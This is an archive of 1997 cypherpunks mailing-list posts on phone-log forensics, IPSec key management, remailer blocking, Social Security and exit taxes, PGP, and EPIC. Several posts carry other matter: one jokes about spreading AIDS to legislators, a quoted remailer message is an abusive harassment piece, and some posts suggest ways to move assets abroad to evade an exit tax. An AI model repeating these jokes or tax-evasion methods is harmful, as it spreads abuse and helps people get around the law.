executive of the company that handled the telephone debit card that was
allegedly used.

Problems:

There was no one computer that had all of the information necessary to
connect a phone debit-card number, the phone number from which a call was
made, and the phone number to which the call was made.  3 different logs
from 3 different computer systems whose clocks were not synchronized must be
related in order to determine this information.  Therefore, it is difficult
to relate the logs in an unambiguous manner.  Furthermore, the logs indicate
only a physical port number, and the only way to determine the
correspondence is to _physically inspect_ the connectivity of the cables.

Q. How often were the cables rearranged?  Since the system would work fine
with a different permutation of the cables, what assurance do we have that
the cables had not been rearranged by a technician who many never have told
anyone, or not even realized himself?

Due to the large sizes of these files (2.5 billion calls!), the 'matching'
process allowed for +/- 4 minutes 'slop' in comparing the clock times of the
different logs.  Q.  Did they take into account Daylight Savings Time
(especially given the problems we're recently been talking about)?

Q. Did they take into account the fact that on different days the clocks may
have had different discrepancies?

There are key items missing from the most important transaction log.  This
is because this computer was _intentionally rebooted_ 3 times every day
(perhaps at midnight, 8AM, 4PM, all Los Angeles time).  Each time the
computer was rebooted, some transactions were lost; whether from not having
been saved from the write buffer, or not being logged during a length boot
process, was not made clear.  Apparently, a very critical phone call was one
of the transactions that were not logged due to this rebooting.  (What are
the chances of this??)

Why was this computer rebooted 3X per day?  Because it had apparently been
crashing of its own accord prior to this, and those crashes had been very
inconvenient, so it was decided that purposely rebooting would result in
fewer complaints.  This rebooting may have resulted in a slight loss of
revenue, as well, as the missing calls may never have been logged.

There is a presumption that if a PIN (in this case a 14-digit PIN) is being
used, that only one person could possibly have used it.  However, apparently
this system did not check to see that multiple people (perhaps in different
parts of the country) were not using the same PIN number at the same time.
(Unlike many prepaid phone cards in Europe, there is no physical card to
plug into the phone -- the _only_ proof of identity is the PIN.)

Henry Baker  ftp://ftp.netcom.com/pub/hb/hbaker/home.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daw@cs.berkeley.edu (David Wagner)
Date: Sat, 31 May 1997 05:33:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Crypto Disputes
In-Reply-To: <1.5.4.32.19970529230949.00937498@pop.pipeline.com>
Message-ID: <5mngcl$4e7@joseph.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


In article <1.5.4.32.19970529230949.00937498@pop.pipeline.com>,
John Young  <jya@pipeline.com> wrote:
>      For two years, the IETF Security Group has labored to
>      hammer out the IP Security (IPSec) protocol, a standard way
>      that businesses can open up an encrypted link to a trading
>      partner's network. [...]
> 
>      But an unresolved, bitter dispute over the technique for
>      automatically swapping keys over the 'Net - referred to as
>      key management - has resulted in two incompatible schemes
>      in the IPSec specification.
> 
>      In this battle of the acronyms, the debate centers on the
>      Simple Key Management for IP (SKIP), developed by Sun
>      Microsystems, Inc., and the Internet Secure Association Key
>      Management Protocol (ISAKMP), developed by the National
>      Security Agency. 

Heh.  This article is way behind the times.  (Either that, or the reporter
has been listening too closely to Sun marketing hype.)

ISAKMP/Oakley has been endorsed as the mandatory-to-support key management
standard for ipsec.  Proposals to make SKIP mandatory were explicitly rejected.

The bitter debate is over, and ISAKMP/Oakley won.

>                         The link is encrypted after authentication
>      by means of an X.509 digital certificate at an IPSec-based
>      firewall or gateway. 

Hoo boy is this reporter clueless!  Don't you believe it for even an instant.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 31 May 1997 05:01:46 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: GAK
In-Reply-To: <199705301816.LAA23316@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970530143724.38906A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 30 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> May Timothy Maypole's forgeries get stuck up his ass so he'll have to shit 
> through his filthy mouth for the rest of its miserable life.
> 
>                  .::7777::-.
>                 /:'////' `::>/|/
>               .',  ||||   `/( e\  Timothy Maypole
>           -==~-'`-Xm````-mr' `-_\
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Burchell <jeff@fat.doobie.com>
Date: Sat, 31 May 1997 06:06:04 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Continuing spam from vulis
In-Reply-To: <v03102802afb4ec9eeaff@[207.167.93.63]>
Message-ID: <Pine.LNX.3.96.970530140104.9455M-100000@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 30 May 1997, Tim May wrote:

> (I've removed 9 of the addresses from this response.)

Thanks, those were the addresses that Mr. Pomes sent his message to
including my employer and the abuse address for my employer's provider.
Since he was accusing me of being unresponsive, I figured I should
probably send my response to those folks as well.

> And just who is "the operator of the cypherpunks list"

At the time it was whomever was moderating the non-flames list, before
that it was probably John Gilmore, because he runs toad.com where it used
to be hosted.  I haven't been on cypherpunks since I was in college, or
really paid much attention to it.  I can probably dig through my mail
archive to find out exactly who I corresponded with, because my memory for
names is horrible, but frankly I'm lazy, and don't really want to do this. 

> And why
> would he or she or they have anything to say about blocking remailers?

Standard Policy.  Some people don't want to get anonymous mail, and my
remailer (and all others to my knowlege) has the capability of blocking
mail sent to particular addresses. If the address is a mailing list, I
require the maintainer of the list to actually request the block. 

Most lists have a single person (or group of people) who informally "run"
the list.  Often it's whomever is administrating the machine that is
acting as the list exploder, sometimes a list moderator, etc. etc. 

> Neither May nor Gilmore nor Hughes have any say over blocking remailers,
> blocking use of remailers, etc.

Admittedly, I did pull those names out of mostly thin air, as they are the
people who I feel can speak most authoritatively for the wishes of the
list.  Cypherpunks is an unusual example of a list without an authority
(or with lots of authorities, depending on how you look at it). 

But, really, in the unlikely event that I got mail from one of those three
asking for the cypherpunks list to be blocked, I would be likely to honor
it. I seriously doubt that this would ever happen, though. 

> I mean no disrespect to Jeff, but even getting involved in the slightest
> way in debates about remailer traffic and what should/should not be blocked
> is what can only be called a "conceptual error."

Agreed (and no disrespect taken).  My posting was a quick comment stating
why I refuse to tell my remailer not to mail to the cypherpunks list. 
Shit, if any mailing list should be anonymous-mail friendly it should be
this one.

> Ideal mixes, which today's remailers are of course only an approximation
> of, do not pass and reject messages based on content, or even on sources
> and destinations. The ideal mix is a soulless black box executing certain
> protocols.
> 
> (Practicality may dictate that a remailer place certain minimal, and
> hopefully publicized, constraints on the process, e.g., no sending to
> whitehouse.gov, no sending to hundreds of addresses, whatever.)

Exactly... The reason that blocking by source or destination exists is to
keep the remailers operating, and the remailer operators out of court.  In
an ideal world, everyone would be comfortable with the concept of
anonymity and blocking techniques would be unnecessary.  Right now that
isn't the case, and I don't see this changing for the better anytime soon.
So, I have to have policies like "if you want a block, send me mail from
the account you want blocked, if you want a mailing list blocked, then get
whomever is in charge of the list to contact me."

I don't (and can't) block anything based on content... it's either all or
nothing.  In other words, I can't tell the remailer not to send anti-Tim
May postings unless I tell it not to send anything at all.  I know better
than to think that you or most cypherpunks readers want this.

We're on the same page, Tim.

-Jeff

-----------------------------------------------------------------------------
"When they came for the 2nd Amendment, I said nothing, for I owned no gun
 Then the sixth was next to go, and I remained silent, as I was not on trial
 They took away the fourth, and I said nothing, as I had nothing to hide
 And then they came for the First,  and I could say nothing." 









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 31 May 1997 04:06:12 +0800
To: Tim May <tcmay@got.net>
Subject: Re: How much you lose under Social Security -- socialsecurity.org
In-Reply-To: <v03102801afb4ccdecef3@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970530154726.11689B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 30 May 1997, Tim May wrote:

> And the Congressvermin are still attempting to impose an "exit tax" on
> accumulated assets, so that if I tried to move my assets (remember, assets
> = property = purchased things, not at all the same thing as "income") to
> some other country.

This is really a double tax since if you own assets, you've already paid
taxes on those said assets in the form of income tax.  If it's an
inheritance, that too was taxed, so what the fuck?  What's the
justification behind this other than exit rape?

I suppose one way is to take loads of trips and loads of AmEx traveler's
checks, then gamble on things with 50% chance of winning, take the
winnings and dump'em in accounts outside.  Repeat until nothing's left,
then exit with very little.

> As we all know, the SS system is just a gigantic Ponzi scheme. Like
> gambling, the government runs operations it imprisons others for running.

So let's sue the system.  Might fail, but maybe we can get it the fuck out
of our income taxes.  One less tax to bother with.  Since it no longer
does what it is supposed to, might as well get rid of it.  One way is to
calculate how much you've put in it, and what is expected you'll receive
on retirement.  Compare the two, then sue the bastards.   (I donno what
I've been smoking, but I should get more of it, that's for sure. heheheh)
 
> I'm not even sure that 60 megatons of disinfectant would handle the cancer
> that is Washington.

Not worth wasting the disinfectant IMHO.  I'd say take the money, purchase
the favors of AIDS infect whores and throw congress and the senate a
really big party. :)  Oh, and make sure the condoms have holes.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 31 May 1997 04:56:09 +0800
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: relevance to Hayek research?
In-Reply-To: <v0302098cafb48a428199@[139.167.130.247]>
Message-ID: <3.0.2.32.19970530160325.0074fa58@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:44 AM 5/30/97 -0400, Robert Hettinga wrote:
>discussion here, spoke the Assistant Director of FinCEN. FinCEN stands for
>the Financial Crimes Enforcement Network, a truly amazing government agency
>which has the ability to tell anyone with a credit card or checking account
>not only what his current bank balance is, but, through perfectly legal
>"administrative requests" to his bank, what his, say, total clothing and
>grocery expenditures were last year, categorized by store. 

...if the bank and credit card are in the target's True Name in the U.S. or a 
cooperating jurisdiction.

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 31 May 1997 04:51:05 +0800
To: cypherpunks@algebra.com
Subject: Re: Comments on the Macintosh
In-Reply-To: <3.0.2.32.19970530070318.035fc7ac@panix.com>
Message-ID: <3.0.2.32.19970530162828.0074f42c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:15 AM 5/30/97 -0700, Tim May wrote:

>Newsflash: With the prodding and help of Vinnie M., I took a day last week
>and installed the latest versions of all of my major applications.  I
>successfully ran the installation on my bootleg copy of PGP 5.0 (obtained
>from my friendly spy), but have not yet spent time integrating it with
>Eudora Pro 3.1, which I understand is possible.
>
>(Please: No helpful suggestions. All of the information I need to do this
>is apparently contained in the docs...I just haven taken the time off from
>doing other things to do this.)

No helpful suggestion here but I wanted to point out that in both instances 
after I installed PGPMail 4.5 in January and PGP for Personal Privacy 5.0
last 
week, I found that the cute little radio buttons had been automagically 
installed in my copy of Eudora Pro 3.0 (they also work with the freeware Lite 
version of 3.0).  They do not appear on the frames of the general program 
"window" because encryption/decryption cannot be used there but if you open a 
message window to create a message or to read a message, there the little 
buttons are.  I am using WIN95 of course.

If the Mac is not as user friendly, I think that's too bad.  Look on the 
message window frames.  Maybe the buttons are there.

I've been frantically signing and encrypting ever since January.  I want PGP 
Inc. to release PGP Disk for WIN95 (it's out for the MAC).  I need a disk 
encryptor that can work with WIN32.

I have even been able to browbeat friends and family into installing the new 
PGP versions.  There's a lot to be said for on-click encryption (or no click 
in the case of 5.0 since you can set signing or encryption or both to be the 
default condition for Eudora.  Hit <Queue> of <Send> and PGP pops up and does 
its thing.


DCF




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 31 May 1997 07:10:34 +0800
To: jeff@fat.doobie.com (Jeff Burchell)
Subject: Re: Continuing spam from vulis
In-Reply-To: <Pine.LNX.3.96.970530123734.9455K-100000@fat.doobie.com>
Message-ID: <199705302242.RAA16939@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jeff Burchell wrote:
> On Fri, 30 May 1997, Paul Pomes wrote:
> To this, I recieved a very firm "no!" (cypherpunks is of course a list
> where people do have good reasons to use remailers).  Because of that, I
> _WON'T_ block cypherpunks, until I am instructed to by May, Gilmore,
> Hughes, et.al. Period.  This holds true for all mailing lists. I need to
> have authorization from the list maintainer to block the list.  

Excuse me, what do these individuals have that allows them to give
instructions to remailer operators?

> P.P.S.  Isn't there a non-flames moderated cypherpunks?  Perhaps you
>         want to be on that list instead of the free-for-all.

There is one, operated by Ray Arachelian, I believe.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 31 May 1997 07:14:52 +0800
To: mifp-submit@netline.net
Subject: Re: How much you lose under Social Security -- socialsecurity.org
In-Reply-To: <Pine.GSO.3.95.970530110010.8489F-100000@well.com>
Message-ID: <199705302257.RAA17014@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

eclan McCullagh wrote:

http://www.socialsecurity.org

> I'm over at the National Press Club now, just came from a Cato Institute
> press conference unveiling their socialsecurity.org web site. It lets you
> calculate your retirement income and compare how much you'd get from the
> Federal government's Social Security "fund" compared with a private system
> like a 401(k). 
> 
> And it's fun to play with. Let's say I was born in 1970 and make $30,000 a
> year (BTW, I wasn't and don't). Assuming I retire at 67 and inflation is 3
> percent, Social Security would give me $1,293 a month after I retire. And
> that's if you assume Social Security won't go belly-up, a hard position to
> maintain since its own trustees say it's underfunded by 25 to 33 percent.
> 
> Compare that to a stock fund, which yields so much more: $8,635 a month.
 
> I can't think of a better argument to privatize Social Security and move
> to a system like an IRA or 401(k), a solution the Cato folks have
> advocated for years.

Remember though that past performance does not guarantee future results.

I see no reason why the stockmarket should (or should not) continue
to give the spectacular gains that it gave in the past.

While having more options generally increases people's well being, we
have to expect a substantial amount of people whose investments will be
lost in various perturbations that lie ahead.

We may expect to the government to be under strong pressure to feed these
old folks.

What bothers me most is what would happen if the market went bust again
as badly as it did in 1929-1934. I believe that it is by far not 
impossible. Then we'd get stuck in a market downturn, with millions of
retured people with few means to support themselves, and the government 
unable to collect enough money to feed them (which is unconstitutional
anyway).

[I understand that the optimal allocation of assets in retirement funds
should become more and more conservative with age, as people are less
and less able to tolerate risk and recoup losses with more earnings, but
I am sure that many investors will not pay enough attention to that.]

Now, that does not mean that SS should not be privatized (it should),
but the picture is not as rosy and not as certain as that stupid Java
applet suggests.

	- Igor.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 31 May 1997 07:18:25 +0800
To: sunder@brainlink.com (Ray Arachelian)
Subject: Re: How much you lose under Social Security -- socialsecurity.org
In-Reply-To: <Pine.SUN.3.96.970530154726.11689B-100000@beast.brainlink.com>
Message-ID: <199705302305.SAA17152@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Ray Arachelian wrote:
> This is really a double tax since if you own assets, you've already paid
> taxes on those said assets in the form of income tax.  If it's an
> inheritance, that too was taxed, so what the fuck?  What's the
> justification behind this other than exit rape?

The problem is that capital gains can be used to pay people money
and avoid income taxation.

Example: suppose that I hire you to design my website. Instead of
paying you $10,000, I sell you a security for $1,000 and repurchase it
from you next year for $12,000. As a result, you would not have to pay
the feds anything if there was no capital gains tax.

There are many ways in which this can be done by individuals and
companies alike.

I would rather use sales tax and repeal both capital gains tax and
income tax, than get rid of capital gains tax but not of the income tax.

igor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sat, 31 May 1997 07:25:38 +0800
To: cypherpunks@toad.com
Subject: Re: There's something wrong...
In-Reply-To: <199705301914.MAA26873@fat.doobie.com>
Message-ID: <3.0.2.32.19970530190910.03716738@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 12:14 PM 5/30/97 -0700, Huge Cajones Remailer wrote:

> At Waco, dozens of innocents were killed, burned alive on national 
>television in their home and church from an unwarranted, excessive 
>use of force in order to serve a search warrant on David Koresh for 
>what they "may" have been doing.  No one was under indictment, under 
>arrest or accused of an actual crime, yet through media manipulation 
>that branded koresh and his followers Kooks, the nation watched 
>another act of Statist-TV-Terrorism. The message through the 
>medium this time?,   "We don't need no stinking charges."

23 children were fried because the Feds thought that some people living at MT 
Carmel might be illegally possessing some metal disks about the size of a 50 
cent piece.

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sat, 31 May 1997 08:01:56 +0800
To: Ray Arachelian <tcmay@got.net>
Subject: Re: How much you lose under Social Security -- socialsecurity.org
In-Reply-To: <v03102801afb4ccdecef3@[207.167.93.63]>
Message-ID: <3.0.2.32.19970530194745.006d62bc@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 03:55 PM 5/30/97 -0400, Ray Arachelian wrote:

>What's the
>justification behind this other than exit rape?

Same justification as any tax.  "We want the dough."  Note they haven't 
managed to pass a full exit tax yet, however:

http://207.87.27.10/forbes/111896/5812044a.htm

Forbes - 18 November 1996

"And don't come back"

By Robert Lenzner 

In August 1996 the Republicans pasted some anti-taxpatriate language into the 
Health Insurance Portability & Accountability Act. This law now subjects 
expatriates with a net worth of over $500,000 to taxation on their income 
earned in the U.S. for ten years from the time they renounce their 
citizenship, no matter where they live or whose flag they salute. But this is 
a law without teeth. Any clever entrepreneur can live by borrowing against 
assets rather than paying himself an income. Any good international tax lawyer 

can move ownership of U.S. assets into a foreign corporation or trust, thus 
making most taxpatriates' U.S.-sourced income vanish.

The latest effort to keep intrepid taxpatriates on the reservation was passed 
with no fanfare in early October. A little-noticed provision of the Illegal 
Immigration Reform & Immigrant Responsibility Act of 1996 says, in essence, 
that Americans can still renounce their citizenship and flee to tax havens 
like the Bahamas, Ireland and Switzerland. But if they do, they can't 
necessarily come back to the U.S., not even to visit the grandkids or attend 
their college reunions.

Under the new law, the taxpatriate-any expatriate for that matter-must apply 
for a visa for every visit. The law states that the U.S. Attorney General may 
prohibit the issuance of a visa to a former U.S. citizen if there are solid 
grounds to believe that citizenship was renounced in order to avoid taxes.

In short, taxpatriates will now be treated as exiles without any visiting 
rights, just like the illegal immigrants the U.S. wants to cut off.

***************

Utterly meaningless in both cases since, as mentioned, you can move your 
wealth overseas and in the case of the visa requirement, first they have to 
flag you as an expatriate and even if they do that, you can enter the U.S. via 

Canada, Mexico, or the   Caribbean which are all inside the "US Passport 
Control Area."

>I suppose one way is to take loads of trips and loads of AmEx traveler's
>checks, then gamble on things with 50% chance of winning, take the
>winnings and dump'em in accounts outside.  Repeat until nothing's left,
>then exit with very little.

I find that a SWIFT wire transfer is faster, safer, and easier.

>So let's sue the system.  Might fail, but maybe we can get it the fuck out
>of our income taxes.  One less tax to bother with.  Since it no longer
>does what it is supposed to, might as well get rid of it.  One way is to
>calculate how much you've put in it, and what is expected you'll receive
>on retirement.  Compare the two, then sue the bastards.   (I donno what
>I've been smoking, but I should get more of it, that's for sure. heheheh)

If you can find a judge who doesn't have "a financial interest in the outcome 
of the proceedings" I suppose you could try but victory seems unlikely in 
either case.

Rather than litigation or detonation why not just try to ignore them.

DCF


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 31 May 1997 11:02:43 +0800
To: cypherpunks@toad.com
Subject: Janus (now called LPWA) ready for pre-testing)
Message-ID: <v030209cbafb5360afa35@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Fri, 30 May 1997 13:31:25 -0400
From: alain@research.bell-labs.com (Alain Mayer)
To: rah@shipwright.com
Subject: Janus (now called LPWA) ready for pre-testing)
Cc: alain@research.bell-labs.com


Hi Robert,

the Janus system I presented at FC97 is now running on
a proxy at Bell Labs, accessible to everyone.
Maybe you can send the announcement below to the
fc97 mailing list?

Many thanks and I hope everything is fine with you,

   -- Alain
========================================


Hi,

Janus (now called the Lucent Personalized Web Assistant, LPWA) is now
pre-testing.
Its main goal is to increase convenience, security, and privacy for browsing
the web, especially with sites that require registration (and hence user
names, passwords and e-mail addresses).
We hope that you will use it for a while and give us some feedback on what you
like and what kind of things are annoying. Note, that you can only participate
if you are able to configure your browser to directly connect to our proxy.
Some of you might be behind a firewall or ISP where a particular proxy is
required.

Instructions can be found at http://lpwa.com:8000.

More on the project is located at
http://www.bell-labs.com/project/lpwa/

An arbitrary list of (free) sites which require registration can be found at
http://www.bell-labs.com/projects/lpwa/extended_summary_tmp.html#account


Please note that this project has not yet been publicy announced and that
documentation and code are currently being revised. Also, the current set-up,
where you have to connect to LPWA/Janus over an insecure connection is not
"optimal" (to say the least, but all in all much better than if you browse
the "usual way"). Hence, we are really looking for "friendly users" at this
time whose feedback might help us to make improvements.

Regards,
  -- Alain

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 31 May 1997 10:57:58 +0800
To: cypherpunks@toad.com
Subject: Elliptic Curve Rumor
Message-ID: <v030209d0afb537313fa2@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Fri, 30 May 1997 10:53:16 -0700
To: Robert Hettinga <rah@shipwright.com>
From: Somebody
Subject: Elliptic Curve Rumor
Mime-Version: 1.0

I assume you will pass this information on.  Please don't associate my name
with it.

I have heard that Apple has a working implementation of Elliptic Curve
Cryptography.  Because of the export regulations they don't want to include
it in their products.  If anyone wants to try to change their minds, now
would be a good time.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 31 May 1997 13:25:19 +0800
To: cypherpunks@algebra.com
Subject: Rotenberg as the Uber Enemy
Message-ID: <v03102801afb561409260@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



I suppose I am developing a reputation amongst the Inside the Beltway Cyber
Rights Groups (tm) as a pain in the ass, but nearly everytime I see one of
their chief spokeswonks giving a policy statement I realize they are "not
on my side."

The latest quote is from Marc Rotenberg, on a CNN piece on spam and
anti-spam legislation, saying that what the legislators in Congress really
need to look into is how the spammers develop their data bases.....

Incredible. Does he propose investigations of private data gathering?
Perhaps search warrants served on those who take public postings and
construct data bases?

Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day. But I
realize the "spammers" are merely  taking publicly available (= legally
available, as 99.99% of all such information is) information and using
legal channels to contact me. I may not "like" it, but their behavior is as
legal as someone calling me on the phone.

(And ny nearly any measure of hassle factor, dashing to get to the phone
only to find it's a salesman selling something I don't want is worse than
any 20 unwanted e-mail messages.)

So, Marc Rotenberg wants Congress to "look into" (= interfere with)
compilation and use of public information.

These people are NOT our allies.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 31 May 1997 15:35:32 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102801afb561409260@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970531031700.9128C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


Unfortunately, Tim is letting a rant get in the way of reality. A shame,
really, for he's capable of better. Let me respond. I may not be very
cordial. We lost tonight's soccer game (goddamn wimpy libertarians) and
went to some cheezy Crystal City sports bar afterwards. I just got back
home, and it's 3:20 am...

Anyway, Rotenberg and EPIC are not the Uber Enemy. Rather, they disagree
with cypherpunk and libertarian positions on some issues. So we have
issue-by-issue alliances with them. Let's break it down:

------------------------------
CRYPTO: EPIC takes a purist civil liberties approach to crypto. They've
been the ones criticizing the SAFE "crypto in crime" provisions. Did the
latest VTW alert sent out today even mention that portion of the bill, let
alone criticize it?

ANONYMITY: No other group in DC is such a staunch supporter of online
anonymity publicly, though look for something from Cato soon. In fact, I
linked to EPIC's copy of the McIntyre decision for my Friday Netly piece.
Many business groups don't like anonymity online -- hurts the marketeers.

FREE SPEECH: EPIC is co-counsel in ACLU lawsuit against CDA. I believe
they've said some of the anti-spam legislation is unconstitutional.

FOIA: David Sobel does fabulous work snagging government documents the
spooks don't want released.

PRIVACY: EPIC wants more Federal involvement to protect privacy and a
Federal Privacy Commission (or something similar). Lots of laws,
bureaucracies. Though EPIC does realize there's a First Amendment; other
privacy groups are even more aggressive. EPIC is of course on the side of
libertarians when it comes to government violations of privacy.
------------------------------

>From a libertarian perspective, EPIC is good on everything but privacy. On
that they want Big Government solutions.

But that doesn't mean we reject and condemn what they do on other issues.
Do we reject Eagle Forum's anti-Clipper endorsement because they're a
bunch of ultraconservative wackos? Do we reject the National Organization
for Women's position on the CDA as bad because they're a bunch of
ultraliberal wackos? How about the National Association of Broadcaster's
amicus brief against the CDA? The Christian Coalition rejecting a national
ID cards and numbers? Ralph Nader wanting open access to government
databases?

No. We don't. Instead, we address this issue by issue. EPIC and Rotenberg
are not always, but are often, our allies. 

-Declan


On Fri, 30 May 1997, Tim May wrote:

> 
> I suppose I am developing a reputation amongst the Inside the Beltway Cyber
> Rights Groups (tm) as a pain in the ass, but nearly everytime I see one of
> their chief spokeswonks giving a policy statement I realize they are "not
> on my side."
> 
> The latest quote is from Marc Rotenberg, on a CNN piece on spam and
> anti-spam legislation, saying that what the legislators in Congress really
> need to look into is how the spammers develop their data bases.....
> 
> Incredible. Does he propose investigations of private data gathering?
> Perhaps search warrants served on those who take public postings and
> construct data bases?
> 
> Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day. But I
> realize the "spammers" are merely  taking publicly available (= legally
> available, as 99.99% of all such information is) information and using
> legal channels to contact me. I may not "like" it, but their behavior is as
> legal as someone calling me on the phone.
> 
> (And ny nearly any measure of hassle factor, dashing to get to the phone
> only to find it's a salesman selling something I don't want is worse than
> any 20 unwanted e-mail messages.)
> 
> So, Marc Rotenberg wants Congress to "look into" (= interfere with)
> compilation and use of public information.
> 
> These people are NOT our allies.
> 
> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 31 May 1997 21:45:58 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: legal EAR work-around/Paper based remailers
In-Reply-To: <199705310853.JAA00659@server.test.net>
Message-ID: <199705311334.IAA18924@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199705310853.JAA00659@server.test.net>, on 05/31/97 
   at 09:53 AM, Adam Back <aba@dcs.ex.ac.uk> said:


>EAR says that you can't export crypto in electronic form.  EAR says you
>can export crypto in textual form.  We have electronic cash in terms of
>MT banks digicash.  Email is more convenient for exporting crypto source
>code and binaries that snail mail.

>Let's do it.

>Here's what we need:

>1. US entrepreneur to accept mail with 

>	::
>	Snail-To: <street address (outside US)>
